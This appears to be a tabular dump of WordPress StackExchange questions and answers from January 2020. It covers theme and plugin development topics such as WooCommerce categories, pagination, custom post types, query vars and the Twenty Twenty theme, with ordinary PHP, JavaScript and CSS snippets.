However, when I click on A, it also redirects. How to prevent this? | If that redirection script is written in the content section of the post, it is probably being called in with the rest of the content on the category page.
You could add a URL check to your javascript that would look like this:
```
if(document.URL.indexOf("foo_page.html") >= 0){
window.location.replace("http://... |
356,418 | <p>I don't want to show all attributes that are available, I just need to show those variations value which have stock saved on back-end.
Just like I have a variable named sizes, so i want to show the product as well as its available sizes, if a product has 5 different sizes, but two of its sizes has no stock then disp... | [
{
"answer_id": 356372,
"author": "Paul Elrich",
"author_id": 160341,
"author_profile": "https://wordpress.stackexchange.com/users/160341",
"pm_score": 2,
"selected": true,
"text": "<p>If that redirection script is written in the content section of the post, it is probably being called in... | 2020/01/15 | [
"https://wordpress.stackexchange.com/questions/356418",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180889/"
] | I don't want to show all attributes that are available, I just need to show those variations value which have stock saved on back-end.
Just like I have a variable named sizes, so i want to show the product as well as its available sizes, if a product has 5 different sizes, but two of its sizes has no stock then display... | If that redirection script is written in the content section of the post, it is probably being called in with the rest of the content on the category page.
You could add a URL check to your javascript that would look like this:
```
if(document.URL.indexOf("foo_page.html") >= 0){
window.location.replace("http://... |
356,419 | <p>I have page-property.php in the loop folder with this code. And I see only 8 posts (Custom Post type), but I want to see all of them with pagination, what's wrong?</p>
<pre><code><?php
$view = 'archive';
if ( is_singular() )
$view = 'single';
elseif ( is_search() )
$view = 'search';
elseif ( is_404()... | [
{
"answer_id": 356434,
"author": "Waldo Rabie",
"author_id": 172667,
"author_profile": "https://wordpress.stackexchange.com/users/172667",
"pm_score": 0,
"selected": false,
"text": "<p>The problem could be a number of things. </p>\n\n<p>First of all, make sure you have more than 8 posts.... | 2020/01/15 | [
"https://wordpress.stackexchange.com/questions/356419",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181105/"
] | I have page-property.php in the loop folder with this code. And I see only 8 posts (Custom Post type), but I want to see all of them with pagination, what's wrong?
```
<?php
$view = 'archive';
if ( is_singular() )
$view = 'single';
elseif ( is_search() )
$view = 'search';
elseif ( is_404() )
$view = '404';
... | If you go to the URL <https://nadlancz.com/page/2/> you'll see that navigation works.
What you need to do to see the navigation links is add something like this to your page
```
<!-- Navigation -->
<?php
$pagination = get_the_posts_pagination(array(
'mid_size' => 2,
'prev_text' => 'Previous',
... |
356,436 | <p>I do have a php website running on a certain domain, and I have installed Wordpress on a subdomain. I need to put a login form on the homepage (not the subdomain) where the user will fill in the username and password, then get logged in and redirected automatically to the Wordpress dashboard on the subdomain. But I'... | [
{
"answer_id": 356437,
"author": "Damocles",
"author_id": 180002,
"author_profile": "https://wordpress.stackexchange.com/users/180002",
"pm_score": 2,
"selected": false,
"text": "<p>You can add the static form code to your main site's code (your domain in this case is example.com and you... | 2020/01/15 | [
"https://wordpress.stackexchange.com/questions/356436",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181118/"
] | I do have a php website running on a certain domain, and I have installed Wordpress on a subdomain. I need to put a login form on the homepage (not the subdomain) where the user will fill in the username and password, then get logged in and redirected automatically to the Wordpress dashboard on the subdomain. But I'm a... | You can add the static form code to your main site's code (your domain in this case is example.com and your subdomain is sub.example.com):
```
<form name="loginform" id="loginform" action="https://sub.example.com/wp-login.php" method="post">
<p>
<label for="user_login">Username or Email Add... |
356,443 | <p>I'm working on a new content type. Let's call it hotel rooms (it is not but the similarities are good enough).</p>
<p>Now, for each room, I will have a title and a description but I will also have a lot of metadata - beds, sea view, room number, size, summer price, winter price, and so on.</p>
<p>I would like my c... | [
{
"answer_id": 356446,
"author": "kaiser",
"author_id": 385,
"author_profile": "https://wordpress.stackexchange.com/users/385",
"pm_score": 2,
"selected": false,
"text": "<p>I'd suggest to not add <em>layout</em>, but MarkUp and offer an option to override it. The best way to do this wou... | 2020/01/15 | [
"https://wordpress.stackexchange.com/questions/356443",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/109240/"
] | I'm working on a new content type. Let's call it hotel rooms (it is not but the similarities are good enough).
Now, for each room, I will have a title and a description but I will also have a lot of metadata - beds, sea view, room number, size, summer price, winter price, and so on.
I would like my custom type to wor... | I assume that you're making your custom post type in a plugin if you mean for it to work with any theme.
In that case, I would suggest building your templates in your plugin, and call all your meta data there.
Example:
```
/* Filter the single_template with our custom function*/
add_filter('single_template', 'my_cus... |
356,455 | <p>I'm making some changes to a custom template for a website that wants to add the woocommerce support to create a little shop.
I've followed the instruction to add the theme support to the theme, in my function file I have added: </p>
<pre><code>add_theme_support('woocommerce');
</code></pre>
<p>and the relative h... | [
{
"answer_id": 356483,
"author": "Krishan Kaushik",
"author_id": 175251,
"author_profile": "https://wordpress.stackexchange.com/users/175251",
"pm_score": 0,
"selected": false,
"text": "<p>You can change your \"reading Settings\" in Settings menu,</p>\n\n<p>Please select \"Your home page... | 2020/01/15 | [
"https://wordpress.stackexchange.com/questions/356455",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/177581/"
] | I'm making some changes to a custom template for a website that wants to add the woocommerce support to create a little shop.
I've followed the instruction to add the theme support to the theme, in my function file I have added:
```
add_theme_support('woocommerce');
```
and the relative hook `after_setup_theme`. I... | Follow This and Make sure Your Shop or which page you want for default Home page and Then Save Button.
[](https://i.stack.imgur.com/2oGpx.png)
[](https://i.stack.imgur.com/nWkY2.png)... |
356,499 | <p>First of I am pretty new to this so sorry if this has been asked before but I could not find the right answer for me.</p>
<p>I have this dropdown on my website<a href="https://i.stack.imgur.com/9LObW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9LObW.png" alt="enter image description here"></a... | [
{
"answer_id": 356477,
"author": "Paul Elrich",
"author_id": 160341,
"author_profile": "https://wordpress.stackexchange.com/users/160341",
"pm_score": 1,
"selected": false,
"text": "<p>I don't believe that custom post types are a part of ACF. I use custom post type generators to add post... | 2020/01/16 | [
"https://wordpress.stackexchange.com/questions/356499",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180655/"
] | First of I am pretty new to this so sorry if this has been asked before but I could not find the right answer for me.
I have this dropdown on my website[](https://i.stack.imgur.com/9LObW.png)
from compare-tech(.)fr
I am trying to remove "Toutes les ... | I don't believe that custom post types are a part of ACF. I use custom post type generators to add post types. [This is the one that I use](https://www.wp-hasty.com/tools/wordpress-custom-post-type-generator/). You would just need to paste the resulting code at the bottom of your theme's functions.php file. |
356,513 | <p>Brand new WordPress install with Avade Theme installed on RPi 4 - works fine when I access it on <code>http://203.0.113.111/index.php</code> from an external connection, but if I remove the <code>index.php</code> I get nothing - connection refused.</p>
<p>Is this normal behaviour? Shouldn't I get redirected to the ... | [
{
"answer_id": 356515,
"author": "MrWhite",
"author_id": 8259,
"author_profile": "https://wordpress.stackexchange.com/users/8259",
"pm_score": 2,
"selected": false,
"text": "<blockquote>\n <p>Is this normal behaviour?</p>\n</blockquote>\n\n<p>Yes. On a default Apache install, only <code... | 2020/01/16 | [
"https://wordpress.stackexchange.com/questions/356513",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181158/"
] | Brand new WordPress install with Avade Theme installed on RPi 4 - works fine when I access it on `http://203.0.113.111/index.php` from an external connection, but if I remove the `index.php` I get nothing - connection refused.
Is this normal behaviour? Shouldn't I get redirected to the WP installs index page right awa... | I got it to work ! Yey!
The answer lay somewhere in the General settings of the wp-admin site and my dyn account. I delted my dyn record from their site temporarely. Then I edited the configuration of my wordpress-site and folder in wp-admin. I changed it to the external IP and then it worked without index.php right a... |
356,575 | <p>I have a coding noob question if someone wouldn't mind taking a squiz. Trying to get the title placed on the same line as the label, i.e</p>
<blockquote>
<p>Label: Title</p>
</blockquote>
<p>Currently it's formatted as:</p>
<blockquote>
<p>Label:</p>
<p>Title</p>
</blockquote>
<pre><code><p>
<?... | [
{
"answer_id": 356533,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 1,
"selected": false,
"text": "<p>Much of the code for any page, including header and footer, comes from your theme.</p>\n\n<p>If you want ... | 2020/01/17 | [
"https://wordpress.stackexchange.com/questions/356575",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/163675/"
] | I have a coding noob question if someone wouldn't mind taking a squiz. Trying to get the title placed on the same line as the label, i.e
>
> Label: Title
>
>
>
Currently it's formatted as:
>
> Label:
>
>
> Title
>
>
>
```
<p>
<?php echo apply_filters('cm_tooltip_parse', 'Label: ', true); ?>
<?php if ( gen... | Much of the code for any page, including header and footer, comes from your theme.
If you want to create fully custom code, your best bet is to create a child theme (which just means creating a "style.css" file with some comments that refer to the parent theme, which is what you're currently using) and inside the chil... |
356,609 | <p>I'd like to know how to validate custom fields and return error notice (if necessary) before a custom post type is inserted into the database.</p>
<p>After a little research I found one similar question dating back ~10 years ago, I was hoping for a solution now, it seems like a pretty simple filter to implement.</p... | [
{
"answer_id": 356610,
"author": "Tony Djukic",
"author_id": 60844,
"author_profile": "https://wordpress.stackexchange.com/users/60844",
"pm_score": 1,
"selected": false,
"text": "<p>I've used jQuery Validate for this sort of thing in a previous project and it worked exactly as I wanted.... | 2020/01/17 | [
"https://wordpress.stackexchange.com/questions/356609",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/54189/"
] | I'd like to know how to validate custom fields and return error notice (if necessary) before a custom post type is inserted into the database.
After a little research I found one similar question dating back ~10 years ago, I was hoping for a solution now, it seems like a pretty simple filter to implement.
Looking at ... | I hacked the sh\*t out of it. Here is my uggliest solution ever to a simple problem. I am not really happy with this, but it will have to do.
For the sake of this example, I will use a custom post type called `book` and we're gonna validate a field called `ISBN`. This solution uses `PHP Session` and `header redirect`.... |
356,624 | <p>How can I have specific plugins only active for one specific user role (or potentially an array of user roles)?</p>
<p>Is there something I can add to my <code>functions.php</code> in the child theme to only use a specific plugin for a specific user role?</p>
<p>I have tried various answers from here and articles ... | [
{
"answer_id": 356652,
"author": "majick",
"author_id": 76440,
"author_profile": "https://wordpress.stackexchange.com/users/76440",
"pm_score": 1,
"selected": false,
"text": "<p>It's not a good idea to modify plugins if you can help it, as the plugin may be upated and you will lose your ... | 2020/01/17 | [
"https://wordpress.stackexchange.com/questions/356624",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/117919/"
] | How can I have specific plugins only active for one specific user role (or potentially an array of user roles)?
Is there something I can add to my `functions.php` in the child theme to only use a specific plugin for a specific user role?
I have tried various answers from here and articles but nothing seems to offer w... | It's not a good idea to modify plugins if you can help it, as the plugin may be upated and you will lose your changes and need to redo them.
Fortunately, that is not necessary in this case anyway, as you can the filter active plugins option instead. You will need the plugin slug for this:
```
add_filter( 'option_acti... |
356,663 | <p>I'm adding my query arg as such:</p>
<pre><code>add_filter( 'query_vars', function( $qvars ) {
$qvars[] = 'my_query_var';
return $qvars;
});
</code></pre>
<p>And when I do:</p>
<pre><code>add_action( 'init', function() {
$string = get_query_var( 'my_query_var' );
echo( $string );
});
</code></pre>... | [
{
"answer_id": 356666,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 2,
"selected": false,
"text": "<p>The <code>query_vars</code> filter does not run until after <code>init</code>. The earliest hook you ca... | 2020/01/18 | [
"https://wordpress.stackexchange.com/questions/356663",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/180512/"
] | I'm adding my query arg as such:
```
add_filter( 'query_vars', function( $qvars ) {
$qvars[] = 'my_query_var';
return $qvars;
});
```
And when I do:
```
add_action( 'init', function() {
$string = get_query_var( 'my_query_var' );
echo( $string );
});
```
It's not available, yet if I hook very, very... | The `query_vars` filter does not run until after `init`. The earliest hook you can use `get_query_var()` is [`parse_request`](https://developer.wordpress.org/reference/hooks/parse_request/), which runs after `init`, but before `send_headers`, `wp`, `template_redirect`, and `template_include`. |
356,759 | <p>I need to rearrange the posts by ordering them from published date instead of alphabetical order in Menu posts selection panel, view all section.</p>
<p><a href="https://i.stack.imgur.com/2iBzb.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2iBzb.jpg" alt="enter image description here"></a> </p>... | [
{
"answer_id": 356772,
"author": "Andrea Somovigo",
"author_id": 64435,
"author_profile": "https://wordpress.stackexchange.com/users/64435",
"pm_score": 2,
"selected": true,
"text": "<pre><code>add_action( 'pre_get_posts', 'AS_order_posts_in_menu_admin' );\nfunction AS_order_posts_in_men... | 2020/01/20 | [
"https://wordpress.stackexchange.com/questions/356759",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/68403/"
] | I need to rearrange the posts by ordering them from published date instead of alphabetical order in Menu posts selection panel, view all section.
[](https://i.stack.imgur.com/2iBzb.jpg)
I want them to order as same way in the most recent posts in th... | ```
add_action( 'pre_get_posts', 'AS_order_posts_in_menu_admin' );
function AS_order_posts_in_menu_admin( $q ) {
global $pagenow;
if('nav-menus.php' !=$pagenow)
return $q;
if(isset($q->query_vars['post_type']) && $q->query_vars['post_type']== 'post'){
$q->query_vars['orderby'] = 'date';
$q->query_va... |
356,795 | <p>Working on a category page - taxonomy-product_cat.php - I want to list all the subcategories of that category page, with all its products. I would think it is simple enough but I cant get it to work.</p>
<p>I can list all categories of the shop with all subcategories and all products - So for example bags would li... | [
{
"answer_id": 356801,
"author": "Andrea Somovigo",
"author_id": 64435,
"author_profile": "https://wordpress.stackexchange.com/users/64435",
"pm_score": 1,
"selected": false,
"text": "<p>The code below works for me in archive-product.php\nnot sure if it may also work in taxonomy-product_... | 2020/01/20 | [
"https://wordpress.stackexchange.com/questions/356795",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/14416/"
] | Working on a category page - taxonomy-product\_cat.php - I want to list all the subcategories of that category page, with all its products. I would think it is simple enough but I cant get it to work.
I can list all categories of the shop with all subcategories and all products - So for example bags would list all pro... | The code below works for me in archive-product.php
not sure if it may also work in taxonomy-product\_cat.php
**EDIT**
I've added some lines of code to exclude posts previously outputted, since a post can belong to several categories and that's why you can find always the same posts
```
if(is_a(get_queried_object... |
356,800 | <p>I would like to have different types of posts on my blog, e.g.: articles, film descriptions, book descriptions, links with short descriptions, quotations, historical events, characters, artwork, musical works, terms, etc. They should be grouped in hierarchical catalogues and hierarchical tags. Theoretically, this pl... | [
{
"answer_id": 356801,
"author": "Andrea Somovigo",
"author_id": 64435,
"author_profile": "https://wordpress.stackexchange.com/users/64435",
"pm_score": 1,
"selected": false,
"text": "<p>The code below works for me in archive-product.php\nnot sure if it may also work in taxonomy-product_... | 2020/01/20 | [
"https://wordpress.stackexchange.com/questions/356800",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/178440/"
] | I would like to have different types of posts on my blog, e.g.: articles, film descriptions, book descriptions, links with short descriptions, quotations, historical events, characters, artwork, musical works, terms, etc. They should be grouped in hierarchical catalogues and hierarchical tags. Theoretically, this plug-... | The code below works for me in archive-product.php
not sure if it may also work in taxonomy-product\_cat.php
**EDIT**
I've added some lines of code to exclude posts previously outputted, since a post can belong to several categories and that's why you can find always the same posts
```
if(is_a(get_queried_object... |
356,827 | <p>It's been approximately a month since <strong>i can no longer update any plugins or wordpress core on my website.</strong> When I attempt to update the website it get's knocked off line. Jetpack then reactivates the website for me after 5-8 minutes. When it comes back online I get this in the admin section:</p>
<bl... | [
{
"answer_id": 356833,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>Besides looking at your inbox for any messages that WP might send you (they don't always get sent), lo... | 2020/01/20 | [
"https://wordpress.stackexchange.com/questions/356827",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112790/"
] | It's been approximately a month since **i can no longer update any plugins or wordpress core on my website.** When I attempt to update the website it get's knocked off line. Jetpack then reactivates the website for me after 5-8 minutes. When it comes back online I get this in the admin section:
>
> There has been a c... | In the end I could not solve this myself. I hired a freelancer who specialised in WP development. As it turned out, it was a plugin (OptimizePress 2) that was responsible for this problem, however, the issue remained even when that plugin was deactived. How this is possible, I don't know, and can't give any real techni... |
356,862 | <p>I need help with my WP installation.</p>
<p>I have a home server for tests with LAMP and WP. I have created three sites: <code>main.lan</code>, <code>test2.lan</code> and <code>pbtest.lan</code>.</p>
<p><code>pbtest.lan</code> was installed first, this is a multisite installation with subfolders. It worked perfect... | [
{
"answer_id": 356833,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>Besides looking at your inbox for any messages that WP might send you (they don't always get sent), lo... | 2020/01/21 | [
"https://wordpress.stackexchange.com/questions/356862",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181385/"
] | I need help with my WP installation.
I have a home server for tests with LAMP and WP. I have created three sites: `main.lan`, `test2.lan` and `pbtest.lan`.
`pbtest.lan` was installed first, this is a multisite installation with subfolders. It worked perfect. Then I have added two new sites. I have access from another... | In the end I could not solve this myself. I hired a freelancer who specialised in WP development. As it turned out, it was a plugin (OptimizePress 2) that was responsible for this problem, however, the issue remained even when that plugin was deactived. How this is possible, I don't know, and can't give any real techni... |
356,949 | <p>On a page like taxonomy-product_cat.php - this function lists just the products for the called sub-category - bags:</p>
<pre><code>$args = array( 'post_type' => 'product', 'product_cat' => 'bags')
$loop = new WP_Query( $args ); while ( $loop->have_posts() ) : $loop->the_post();
</code></pre>
<p>I can h... | [
{
"answer_id": 356962,
"author": "CHEWX",
"author_id": 109779,
"author_profile": "https://wordpress.stackexchange.com/users/109779",
"pm_score": -1,
"selected": false,
"text": "<p>You can use <code>get_queried_object()</code>, within that object you can get the <code>slug</code> or <code... | 2020/01/22 | [
"https://wordpress.stackexchange.com/questions/356949",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/14416/"
] | On a page like taxonomy-product\_cat.php - this function lists just the products for the called sub-category - bags:
```
$args = array( 'post_type' => 'product', 'product_cat' => 'bags')
$loop = new WP_Query( $args ); while ( $loop->have_posts() ) : $loop->the_post();
```
I can hardcode list all the sub-categories a... | You shouldn't be using `WP_Query` at all. The [standard loop](https://developer.wordpress.org/themes/basics/the-loop/#the-loop-in-detail) will automatically display the correct posts.
```
while ( have_posts() ) : the_post();
endwhile;
``` |
356,950 | <p>Apparently, for some illogical reason, the developers decided that the only way to fetch posts in all languages, is to add <code>supress_filters=true</code> to the WP_Query (instead of having like say, a <code>language_code=all</code> option).</p>
<p>Anyways, I am in a situation where I need to fetch posts in all l... | [
{
"answer_id": 356962,
"author": "CHEWX",
"author_id": 109779,
"author_profile": "https://wordpress.stackexchange.com/users/109779",
"pm_score": -1,
"selected": false,
"text": "<p>You can use <code>get_queried_object()</code>, within that object you can get the <code>slug</code> or <code... | 2020/01/22 | [
"https://wordpress.stackexchange.com/questions/356950",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/50042/"
] | Apparently, for some illogical reason, the developers decided that the only way to fetch posts in all languages, is to add `supress_filters=true` to the WP\_Query (instead of having like say, a `language_code=all` option).
Anyways, I am in a situation where I need to fetch posts in all languages, but ALSO modify the W... | You shouldn't be using `WP_Query` at all. The [standard loop](https://developer.wordpress.org/themes/basics/the-loop/#the-loop-in-detail) will automatically display the correct posts.
```
while ( have_posts() ) : the_post();
endwhile;
``` |
356,963 | <p>I have a spreadsheet of information I'd like to publish online. I'm trying to find the easiest and best-looking way of doing this. The page will be informational and not intended to generate revenue so I'm hoping to be able to do this cheaply - WordPress seems like the best option.</p>
<p>I'd like to create a websi... | [
{
"answer_id": 356962,
"author": "CHEWX",
"author_id": 109779,
"author_profile": "https://wordpress.stackexchange.com/users/109779",
"pm_score": -1,
"selected": false,
"text": "<p>You can use <code>get_queried_object()</code>, within that object you can get the <code>slug</code> or <code... | 2020/01/22 | [
"https://wordpress.stackexchange.com/questions/356963",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181457/"
] | I have a spreadsheet of information I'd like to publish online. I'm trying to find the easiest and best-looking way of doing this. The page will be informational and not intended to generate revenue so I'm hoping to be able to do this cheaply - WordPress seems like the best option.
I'd like to create a website to disp... | You shouldn't be using `WP_Query` at all. The [standard loop](https://developer.wordpress.org/themes/basics/the-loop/#the-loop-in-detail) will automatically display the correct posts.
```
while ( have_posts() ) : the_post();
endwhile;
``` |
356,972 | <p>I using the plugin from <a href="https://github.com/birgire/wpse-playlist" rel="nofollow noreferrer">https://github.com/birgire/wpse-playlist</a> so far I really enjoy it, but I hope anyone can help me to change the code little bit, Like:
The original code:</p>
<pre><code>[_playlist]
[_track title="Ain't Misbeha... | [
{
"answer_id": 356974,
"author": "Rup",
"author_id": 3276,
"author_profile": "https://wordpress.stackexchange.com/users/3276",
"pm_score": 2,
"selected": true,
"text": "<p>At first glance you just need to change <a href=\"https://github.com/birgire/wpse-playlist/blob/0.0.9/php/class.play... | 2020/01/22 | [
"https://wordpress.stackexchange.com/questions/356972",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181459/"
] | I using the plugin from <https://github.com/birgire/wpse-playlist> so far I really enjoy it, but I hope anyone can help me to change the code little bit, Like:
The original code:
```
[_playlist]
[_track title="Ain't Misbehavin'" src="//s.w.org/images/core/3.9/AintMisbehavin.mp3"]
[_track title="Buddy Bolden's Bl... | At first glance you just need to change [get\_tracks\_from\_content](https://github.com/birgire/wpse-playlist/blob/0.0.9/php/class.playlist.php#L153). Rather than running $content through do\_shortcodes,
* split it by linebreaks (or whitespace?) and discard empty lines, or anything that isn't an URL
+ probably make t... |
356,976 | <p>So I'm having an issue where I'm getting a 'Undefined function' response and I can't seem to figure out why and how to target it.</p>
<p><strong>Relative path to the shortcode file</strong>: htdocs/wp-content/mu-plugins/s/shortcodes/profile.php
<a href="https://i.stack.imgur.com/aXSLT.gif" rel="nofollow noreferrer"... | [
{
"answer_id": 356974,
"author": "Rup",
"author_id": 3276,
"author_profile": "https://wordpress.stackexchange.com/users/3276",
"pm_score": 2,
"selected": true,
"text": "<p>At first glance you just need to change <a href=\"https://github.com/birgire/wpse-playlist/blob/0.0.9/php/class.play... | 2020/01/23 | [
"https://wordpress.stackexchange.com/questions/356976",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/-1/"
] | So I'm having an issue where I'm getting a 'Undefined function' response and I can't seem to figure out why and how to target it.
**Relative path to the shortcode file**: htdocs/wp-content/mu-plugins/s/shortcodes/profile.php
[](https://i.stack.imgur.c... | At first glance you just need to change [get\_tracks\_from\_content](https://github.com/birgire/wpse-playlist/blob/0.0.9/php/class.playlist.php#L153). Rather than running $content through do\_shortcodes,
* split it by linebreaks (or whitespace?) and discard empty lines, or anything that isn't an URL
+ probably make t... |
356,985 | <p>I want while loop to show three posts on first section and the remaining in another section.i am very new to wordpress ,and not having much practical knowledge in php.any help would be very much appreciable.</p>
<p>here is my index.php code:</p>
<pre><code> <!-- first section starting -->
&... | [
{
"answer_id": 356989,
"author": "Nayan Chowdhury",
"author_id": 181381,
"author_profile": "https://wordpress.stackexchange.com/users/181381",
"pm_score": -1,
"selected": false,
"text": "<p>If you want to show 3 posts in a list, you can follow this pattern:</p>\n\n<pre><code><?php\n\n... | 2020/01/23 | [
"https://wordpress.stackexchange.com/questions/356985",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181471/"
] | I want while loop to show three posts on first section and the remaining in another section.i am very new to wordpress ,and not having much practical knowledge in php.any help would be very much appreciable.
here is my index.php code:
```
<!-- first section starting -->
<section class="main_section"... | What you are looking for is PHP's [modulo](https://www.php.net/manual/en/language.operators.arithmetic.php) operator and adjust markup as necessary:
```php
<?php
$i = 0;
$did_hr = false;
$post_args = array( 'post_type' => 'Student Form', 'posts_per_page' => 6 );
$post_query = new WP_Query( $post_args )... |
356,990 | <p>I have created a PHP program that provides customised output based upon user input entered in HTML contact form. The HTML form & PHP output is working fine. However, when I am trying to save the data in WP database, I am not able to see any response. I have created 'wp_mealplanner' table in the database and when... | [
{
"answer_id": 356993,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 1,
"selected": false,
"text": "<p>You're checking <code>isset( $_POST['SUBMIT'] )</code>, but there's no field with that name. If you mea... | 2020/01/23 | [
"https://wordpress.stackexchange.com/questions/356990",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181295/"
] | I have created a PHP program that provides customised output based upon user input entered in HTML contact form. The HTML form & PHP output is working fine. However, when I am trying to save the data in WP database, I am not able to see any response. I have created 'wp\_mealplanner' table in the database and when i am ... | You're checking `isset( $_POST['SUBMIT'] )`, but there's no field with that name. If you mean to be checking the submit button, you need to give it a `name` attribute with the right value:
```
<input type='submit' name='SUBMIT' value='SUBMIT'>
```
Now `isset( $_POST['SUBMIT']` will be `true`, and your code will run.... |
357,016 | <p>I'm using the Twenty Twenty theme to create a website, and I want to totally disable the automatic colors that Wordpress generates based on the accent hue. I have very specific branding guidelines to follow, and I can't have automatically generated colors appear out of nowehere. Manually overriding this stuff with C... | [
{
"answer_id": 357047,
"author": "RiddleMeThis",
"author_id": 86845,
"author_profile": "https://wordpress.stackexchange.com/users/86845",
"pm_score": 0,
"selected": false,
"text": "<p>I had never used this theme until I read your question, so I decided to install it to see what you're ta... | 2020/01/23 | [
"https://wordpress.stackexchange.com/questions/357016",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/87906/"
] | I'm using the Twenty Twenty theme to create a website, and I want to totally disable the automatic colors that Wordpress generates based on the accent hue. I have very specific branding guidelines to follow, and I can't have automatically generated colors appear out of nowehere. Manually overriding this stuff with CSS ... | Building on the answer from Aristeides, here is a complete working code example of using the `theme_mod_acccent_accessible_colours` filter. This is tested and working in version 1.1 of TwentyTwenty and version 5.3.2 of WordPress.
You can place this code in your `functions.php` file and change the colours in the array ... |
357,032 | <p>I am calling a CSS script into a specific page in my theme like this:</p>
<pre><code>function testimonial_style() {
if ( is_page( 4087 ) ) {
wp_enqueue_style( 'testimonial-css', get_template_directory_uri().'/css/testimonial.css' );
}
}
add_action('wp_enqueue_scripts', 'testimonial_style');
</code></pre>... | [
{
"answer_id": 357029,
"author": "FooBar",
"author_id": 50042,
"author_profile": "https://wordpress.stackexchange.com/users/50042",
"pm_score": 0,
"selected": false,
"text": "<p>Found: <a href=\"https://gist.github.com/squarestar/37fe1ff964adaddc0697dd03155cf0d0\" rel=\"nofollow noreferr... | 2020/01/23 | [
"https://wordpress.stackexchange.com/questions/357032",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/93691/"
] | I am calling a CSS script into a specific page in my theme like this:
```
function testimonial_style() {
if ( is_page( 4087 ) ) {
wp_enqueue_style( 'testimonial-css', get_template_directory_uri().'/css/testimonial.css' );
}
}
add_action('wp_enqueue_scripts', 'testimonial_style');
```
And, this code finds ... | WP CLI is best tool out there to manage plugins/ themes through command line, instead of uploading plugins through FTP or admin panel.
Once you Install WP-CLI on your machine then run below command and see magic.
>
> wp plugin install bbpress --activate
>
>
>
Please check WP-CLI [official documentation](https://... |
357,033 | <p>My gut tells me wrapping esc_attr() in intval() is redundant when it comes to escaping input, but I would like to double-check.</p>
<p>Also: considering that <code><option value="">- select no. -</option></code> is hardcoded/value is null, that chunk of input wouldn't need to be escaped, correct?</p>
<... | [
{
"answer_id": 357036,
"author": "Hector",
"author_id": 48376,
"author_profile": "https://wordpress.stackexchange.com/users/48376",
"pm_score": 3,
"selected": true,
"text": "<p>Based on <a href=\"https://developer.wordpress.org/reference/functions/esc_attr/#return\" rel=\"nofollow norefe... | 2020/01/23 | [
"https://wordpress.stackexchange.com/questions/357033",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/172153/"
] | My gut tells me wrapping esc\_attr() in intval() is redundant when it comes to escaping input, but I would like to double-check.
Also: considering that `<option value="">- select no. -</option>` is hardcoded/value is null, that chunk of input wouldn't need to be escaped, correct?
Here is my current code set-up:
```
... | Based on [WordPress documentation for `esc_attr` function](https://developer.wordpress.org/reference/functions/esc_attr/#return), it is returning a string value. So, If you need to have the integer value, you need using `intval` function. **But**, when you want to display that value or put it as part of markup, it does... |
357,058 | <p>How do you hide the "Delete Note" link in the Order Notes panel? Is there a hook that can be used? </p>
<p><a href="https://i.stack.imgur.com/NbGgF.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NbGgF.png" alt="Sample order note"></a></p>
| [
{
"answer_id": 357059,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 1,
"selected": true,
"text": "<p>You can try adding this in your functions.php file:</p>\n\n<pre><code>add_action('admin_head', 'hi... | 2020/01/24 | [
"https://wordpress.stackexchange.com/questions/357058",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/181529/"
] | How do you hide the "Delete Note" link in the Order Notes panel? Is there a hook that can be used?
[](https://i.stack.imgur.com/NbGgF.png) | You can try adding this in your functions.php file:
```
add_action('admin_head', 'hide_delete_note_from_edit_order');
function hide_delete_note_from_edit_order()
{
$screen = get_current_screen();
if ($screen->post_type === "shop_order" && $screen->base === "post") {
echo '<style>a.delete_note { display... |
357,070 | <p>I use TwentyTwent theme and want to change its background colour by page IDs.</p>
<p>I'm not sure but when I check the functions.php, I see below lines which are related to background colours:</p>
<pre class="lang-php prettyprint-override"><code> // Custom background color.
add_theme_support(
'custo... | [
{
"answer_id": 357059,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 1,
"selected": true,
